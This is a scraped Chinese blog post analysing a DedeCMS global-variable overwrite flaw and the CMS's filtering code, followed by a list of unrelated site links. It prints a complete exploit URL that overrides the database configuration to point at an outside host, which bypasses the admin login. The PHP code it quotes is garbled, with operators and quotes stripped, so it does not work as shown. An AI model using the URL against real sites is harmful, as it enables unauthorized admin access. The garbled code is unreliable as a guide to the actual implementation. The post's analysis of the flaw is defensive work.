当前位置: 首页 > news >正文

个人网站心得WordPress 主题选项框架

个人网站心得,WordPress 主题选项框架,成都零起飞网站建设,深圳有几个区分别叫什么本文是过往云烟原创 转载请注明出处 谢谢 (*^__^*)…… 最近开始分析主流CMS源码#xff0c;首先就是拿DEDE开刀#xff0c;谁让我就用它时间长呢。 今天试着写了一个简单的插件#xff0c;感觉还是比较简单的 只引入了一个common.inc.php 这个文件是dede的入口文件 …本文是过往云烟原创  转载请注明出处 谢谢  (*^__^*)……   最近开始分析主流CMS源码首先就是拿DEDE开刀谁让我就用它时间长呢。 今天试着写了一个简单的插件感觉还是比较简单的 只引入了一个common.inc.php  这个文件是dede的入口文件   今天开始研究了一下 common.inc.php 这个文件   发现了一个很有趣的事情     这篇日志主要是说的变脸覆盖问题   众所周知  php的 $GLOBALS[a] aa;  这样 就相当于 定义了一个$a aa;的全局变量  然后呢 有人就可以利用这个机制来做一些事情  最火的就是前一段时间的织梦变量覆盖漏洞   http://www.xx.com/织梦网站后台/login.php?dopostloginvalidatedcuguseridadminpwdinimda_POST[GLOBALS][cfg_dbhost]116.255.183.90_POST[GLOBALS][cfg_dbuser]root_POST[GLOBALS][cfg_dbpwd]r0t0_POST[GLOBALS][cfg_dbname]root   直接这样写 替换下验证码 就可以登陆后台  因为 GLOBALS数组定义了一些全局变量  cfg_*  正好是 dede数据库配置的变量  然后 dede就误认为这个远程的数据库就是他的数据库 然后在远程精心策划一个和目标站点一样的数据库   用户名和密码 当然是自己知道的 就可以直接不要账号密码登陆了   当然  dede也给出了防御代码  具体可以来分析分析  会发现一个很有趣的事情 dede把所有的get  post 等请求都给封装了下  然后 分配到每个变量    在common.inc.php 文件 第37行   function _RunMagicQuotes($svar) {if(!get_magic_quotes_gpc()){if( is_array($svar) ){foreach($svar as $_k $_v) $svar[$_k] _RunMagicQuotes($_v);}else{if( strlen($svar)0 preg_match(#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#,$svar) ){exit(Request var not allow!);}$svar addslashes($svar);}}return $svar; } if (!defined(DEDEREQUEST)) {//检查和注册外部提交的变量 (2011.8.10 修改登录时相关过滤)function CheckRequest($val) {if (is_array($val)) {foreach ($val as $_k$_v) {if($_k nvarname) continue;CheckRequest($_k); CheckRequest($val[$_k]);}} else{if( strlen($val)0 preg_match(#^(cfg_|GLOBALS|_GET|_POST|_COOKIE)#,$val) ){exit(Request var not allow!);}}}//var_dump($_REQUEST);exit;CheckRequest($_REQUEST);foreach(Array(_GET,_POST,_COOKIE ) as $_request){foreach($$_request as $_k $_v) { if($_k nvarname) ${$_k} $_v; else ${$_k} _RunMagicQuotes ($_v); }} }   这个就是抵抗变量覆盖的代码 这一段代码很有趣 怎么个有趣呢  他首先会执行这个 CheckRequest函数 然后参数是$_REQUEST  众所周知 这个参数可以获取  get post  cookie 的值  然后呢  这个函数就会判断这个是否维数组  如果是的话就继续递归调用这个函数  当然为了防止多维数组  他还   CheckRequest($_k);    CheckRequest($val[$_k]);  这样递归调用  因为 上面那个 漏洞URL 就是一个多维数组   然后直到最后是字符串了 就会判断  如果字符串有值  或者字符串 是  cfg_|GLOBALS|_GET|_POST|_COOKIE其中的一个 就会 终止程序  这样就有效的防止了 多维数组 来覆盖全局变量   最后还有个foreach循环  把所有的   _GET,_POST,_COOKIE  都去 _RunMagicQuotes过一遍   _RunMagicQuotes函数会把这些变量 加上个转义符 并且 会把每个参数 注册成一个变量   这样  比如说  get 数组 有个  ?aaa  那么  就会生成一个变量  $a aa  而且还是转义后的     好了 先分析这么多   以后继续分析别的代码     其实分析别人的代码还是很有意思的   手打了这么多累死了   在此感谢  果冻兄  和 宝宝兄 给的几个思路  不然还不会明白这么快   过往云烟  2012/1022
http://www.w-s-a.com/news/180656/

相关文章:

  • 深圳市南山区建设局网站公司简介网页
  • 免费小程序制作软件爱站网站seo查询工具
  • 承接电商网站建设缔烨建设公司网站
  • 网站运营介绍十大国外室内设计网站
  • 网站建设完毕后怎么加后台电影购买网站怎么设计
  • 空间ip地址访问网站音乐分享 wordpress
  • 做网站一单能挣多少wordpress主题文件夹在哪
  • 视频社区app源码台州优化网站
  • 保定高端网站建设做微商好还是开网站好
  • 有什么方法在淘宝发布网站建设设计wordpress评分
  • 自己做的网站怎么爬数据库酷播wordpress
  • 广州哪家做网站还可以黑龙江省建设厅网站的电话
  • 青海省高等级公路建设管局网站国内做led灯网站有
  • 做网站成功建设银行网站网址
  • 自动生成网站上海十大活动策划公司
  • 企业网站建设源码HTML论述市场营销对网站设计的影响
  • 网站设计常见问题建设工程网上质检备案网站
  • 网站怎样优化文章关键词建设网站需要钱吗
  • 加强网站建设和管理的通知重庆网站推广产品
  • 网站建设术语解释百度发布信息的免费平台
  • 情公司做的网站seo与网站优化 pdf
  • 做一个购物网站多少钱江阴市住房和城乡建设局网站
  • 网站建设都包括哪些ps怎么做网站首页和超链接
  • 怎样低成本做网站推广编辑网站教程
  • 邯郸网站建设信息网站开发报价人天
  • 王店镇建设中心小学网站酷玛网站建设
  • 网站需求方案wordpress博客主题推荐
  • 网站安全证书过期怎么办那个视频网站最好最全网址
  • 外贸上哪个网站开发客户建行个人网上银行登录入口
  • 空间除了可以做网站还能干什么qq钓鱼网站